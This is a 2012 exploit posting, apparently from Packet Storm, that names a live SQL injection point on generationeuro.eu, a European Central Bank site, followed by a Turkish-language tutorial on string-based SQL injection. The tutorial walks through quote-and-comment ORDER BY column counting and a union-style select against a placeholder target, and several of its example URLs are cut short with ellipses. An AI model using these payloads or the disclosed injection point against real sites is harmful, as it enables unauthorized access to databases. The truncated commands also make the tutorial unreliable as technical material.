European Central Bank SQL Injection

#######################################################


~ Exploit Title: *European Central Bank SQL Ýnjecktion*~


~ Author: Th4 MasK


~ Contact to ; th4_mask[at]windowslive.com ~


~ Software Website : http://www.generationeuro.eu

~ Date : 29.02.2012 ~


~ Platform : Php ~


########################################################


~ Demos Site :


~ http://www.generationeuro.eu/index.php?id=1&L=1[SQL]


########################################################


~* Virüslerden Önce Akil Var.


########################################################


Ne Kadar Efendi Olursan Ol Hayat O Kadar Züppe.

########################################################


~* Bilinmezlik DiyarinDan


########################################################


~* Olmassa Olmazimdir. Bazi seyler.


########################################################


~* Email:th4_mask[at]windowslive.com~


~ Greetz: http://th4mask.blogspot.com ~ DarkdevilZ.in

########################################################


~ Darkness Devil,Nikolay,MuHuR,Tekfurdagli,Evillord,DeadSlayer

########################################################


http://packetstormsecurity.org/files/110325/European-Central-Bank-SQL-Injection.html

Dizi Tabanlı SQL İNJECKTİON

Savunmasız SQL açıklı Bir Site Bulduğunuzda Order By Komutunu Ne Kadar Yazsakta Hata Alamazsak ?
Order By Komutu İşe Yaramazsa?
Bu Muhtemelen Dize Esaslı Enjeksiyon Kullanmak Zorunda Olduğumuzu Gösterir.


İlk Olarak Sitede SQL Hatası Almalıyız, Zaten Herkes Almayı Biliyor Varsayıyorum.
Http://Target.Com/injectpoint.php?ID=10'

Komutu Deneyelim;
Http://Target.Com/injectpoint.php?ID=10+order+by+1--

Herhangi Bir Hata Alamazsınız, ve Bu Komut 10000'e Doğru Uzar Gider.
Http://Target.Com/injectpoint.php?ID...+by+10000000--

Hala Hatadan Eser Yok…

Bu Komutu Deneyelim bir de;
Http://Target.Com/injectpoint.php?ID=10'+order+by+1--+-

Hala Hiçbir Hata Yok, Genellikle Tek Kolondan Oluşmaz
Çünkü Kolon Sayısı, O halde Siz, Bu Komutu Deneyeceksiniz;

Http://Target.com/injectpoint.php?ID...+by+100000--+-
Hatayı Aldık!

Çünkü Bir Sitede 100000 Kolon Olması İmkansız Gibi Birşey
ve String (Dize) Yöntemini Gerçekleştirdik.

Son Olarak Düzenli Bir SQL İnjection Komutu Haline Getirelim;
Http://Target.Com/injectpoint.php?ID...rder+by+10--+-

10. Kolonda Hatayı Verir Varsayıyorum.
ve Kolon Sayımız 9 Olarak Bulunur, Ardından;
Http://Target.Com/injectpoint.php?ID=10'+order+by+9--+-

Ekrana Kullanacağımız Kolon Sayıları Vurulur
Sonrasında Normal Injeksiyon Yapabiliriz;
Http://Target.Com/injectpoint.php?ID...,5,6,7,8,9--+-

Sizlerle String (Dize) Tabanlı Bir SQL Enjeksiyon Gerçekleştirmiş Olduk..